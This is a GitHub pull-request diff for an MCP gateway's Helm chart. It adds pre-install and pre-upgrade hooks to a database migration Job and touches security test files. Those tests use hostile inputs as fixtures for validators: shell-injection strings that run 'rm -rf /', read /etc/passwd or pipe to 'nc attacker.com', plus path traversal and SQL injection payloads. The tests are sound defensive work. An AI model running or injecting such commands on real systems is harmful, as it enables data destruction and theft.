Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
11 changes: 11 additions & 0 deletions charts/mcp-stack/CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,17 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/)

---

## [0.9.1] - 2025-12-03

### Added
* **Helm Hook Support for Migration Job** - enable recreation of the migration Job on every deployment
- helm.sh/hook: pre-install,pre-upgrade — ensures the migration Job runs automatically during installs and upgrades
- helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded — removes old migration Jobs to prevent immutable field errors
- Eliminates upgrade failures caused by changes to spec.template in Kubernetes Jobs

### Changed
* **Chart version** - Bumped to 0.9.1 for migration job fix

## [0.9.0] - 2025-11-05

### Added
Expand Down
2 changes: 1 addition & 1 deletion charts/mcp-stack/Chart.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -22,7 +22,7 @@ type: application
# * appVersion - upstream application version; shown in UIs but not
# used for upgrade logic.
# --------------------------------------------------------------------
version: 0.9.0
version: 0.9.1
appVersion: "0.9.0"

# Icon shown by registries / dashboards (must be an http(s) URL).
Expand Down
8 changes: 5 additions & 3 deletions charts/mcp-stack/templates/job-migration.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,11 @@ metadata:
labels:
{{- include "mcp-stack.labels" . | nindent 4 }}
app.kubernetes.io/component: migration
annotations:
# Run this Job before install/upgrade
"helm.sh/hook": pre-install,pre-upgrade
# Delete old Job before new one and clean up succeeded ones
"helm.sh/hook-delete-policy": before-hook-creation,hook-succeeded
spec:
# Job configuration
backoffLimit: {{ .Values.migration.backoffLimit }}
Expand Down Expand Up @@ -61,16 +66,13 @@ spec:
secretKeyRef:
name: {{ include "mcp-stack.postgresSecretName" . | trim }}
key: POSTGRES_PASSWORD

# ---------- DERIVED URLS ----------
- name: DATABASE_URL
value: >-
postgresql://$(POSTGRES_USER):$(POSTGRES_PASSWORD)@$(POSTGRES_HOST):$(POSTGRES_PORT)/$(POSTGRES_DB)

# ---------- LOGGING ----------
- name: LOG_LEVEL
value: "INFO"

# Resource limits
resources:
{{- toYaml .Values.migration.resources | nindent 12 }}
Expand Down
2 changes: 1 addition & 1 deletion tests/e2e/test_main_apis.py
Original file line number Diff line number Diff line change
Expand Up @@ -1966,4 +1966,4 @@ async def test_complete_resource_lifecycle(self, client: AsyncClient, mock_auth)

# Also, make sure to set the following environment variables or they will use defaults:
# export MCPGATEWAY_AUTH_REQUIRED=false # To disable auth in tests
# Or the tests will override authentication automatically
# Or the tests will override authentication automatically
32 changes: 16 additions & 16 deletions tests/security/test_validation.py
Original file line number Diff line number Diff line change
Expand Up @@ -76,7 +76,7 @@ def test_validate_path_uri_schemes(self):
# HTTP URIs should pass through
result = SecurityValidator.validate_path("http://example.com/file")
assert result == "http://example.com/file"

# Plugin URIs should pass through
result = SecurityValidator.validate_path("plugin://my-plugin/resource")
assert result == "plugin://my-plugin/resource"
Expand All @@ -94,7 +94,7 @@ def test_allowed_roots_configuration(self):
# Test with allowed roots
result = SecurityValidator.validate_path("/srv/data/file.txt", ["/srv/data"])
assert "/srv/data" in result

# Test rejection outside allowed roots
with pytest.raises(ValueError, match="outside allowed roots"):
SecurityValidator.validate_path("/tmp/file.txt", ["/srv/data"])
Expand Down Expand Up @@ -135,7 +135,7 @@ def test_sanitize_mime_type_verification(self):
# Test valid MIME types
assert SecurityValidator.validate_mime_type("text/plain") == "text/plain"
assert SecurityValidator.validate_mime_type("application/json") == "application/json"

# Test invalid MIME types
with pytest.raises(ValueError, match="Invalid MIME type"):
SecurityValidator.validate_mime_type("invalid")
Expand All @@ -146,7 +146,7 @@ def test_sanitize_escape_sequences(self):
result = SecurityValidator.sanitize_text("\x1b[0m\x1b[1;31mText\x1b[0m")
assert "\x1b" not in result
assert result == "Text"

# Test cursor movement sequences
result = SecurityValidator.sanitize_text("Hello\x1b[2JWorld")
assert result == "HelloWorld"
Expand All @@ -168,10 +168,10 @@ async def test_middleware_disabled(self):
app = MagicMock()
middleware = ValidationMiddleware(app)
middleware.enabled = False

request = MagicMock()
call_next = AsyncMock(return_value="response")

result = await middleware.dispatch(request, call_next)
assert result == "response"
call_next.assert_called_once()
Expand All @@ -181,11 +181,11 @@ async def test_path_traversal_detection(self):
"""Test path traversal detection."""
app = MagicMock()
middleware = ValidationMiddleware(app)

# Test path traversal patterns
with pytest.raises(Exception, match="Path traversal"):
middleware.validate_resource_path("../../../etc/passwd")

with pytest.raises(Exception, match="Path traversal"):
middleware.validate_resource_path("/srv/data/../../secret.txt")

Expand All @@ -197,10 +197,10 @@ async def test_command_injection_prevention(self):
mock_settings.validation_strict = True
with pytest.raises(ValueError, match="shell metacharacters"):
SecurityValidator.validate_shell_parameter("file.jpg; cat /etc/passwd")

with pytest.raises(ValueError, match="shell metacharacters"):
SecurityValidator.validate_shell_parameter("file.jpg && rm -rf /")

with pytest.raises(ValueError, match="shell metacharacters"):
SecurityValidator.validate_shell_parameter("file.jpg | nc attacker.com 1234")

Expand All @@ -210,11 +210,11 @@ async def test_output_sanitization(self):
# Test control character removal
result = SecurityValidator.sanitize_text("Hello\x1b[31mWorld\x00")
assert result == "HelloWorld"

# Test ANSI escape sequence removal
result = SecurityValidator.sanitize_text("\x1b[1;31mRed Text\x1b[0m")
assert result == "Red Text"

# Test preserving newlines and tabs
result = SecurityValidator.sanitize_text("Line1\nLine2\tTab")
assert result == "Line1\nLine2\tTab"
Expand All @@ -224,13 +224,13 @@ async def test_sql_injection_prevention(self):
"""Test SQL injection prevention."""
with patch('mcpgateway.common.validators.config_settings') as mock_settings:
mock_settings.validation_strict = True

# Test SQL injection patterns
with pytest.raises(ValueError, match="SQL injection"):
SecurityValidator.validate_sql_parameter("'; DROP TABLE users; --")

with pytest.raises(ValueError, match="SQL injection"):
SecurityValidator.validate_sql_parameter("1' OR '1'='1")

with pytest.raises(ValueError, match="SQL injection"):
SecurityValidator.validate_sql_parameter("admin'--")
SecurityValidator.validate_sql_parameter("admin'--")
Loading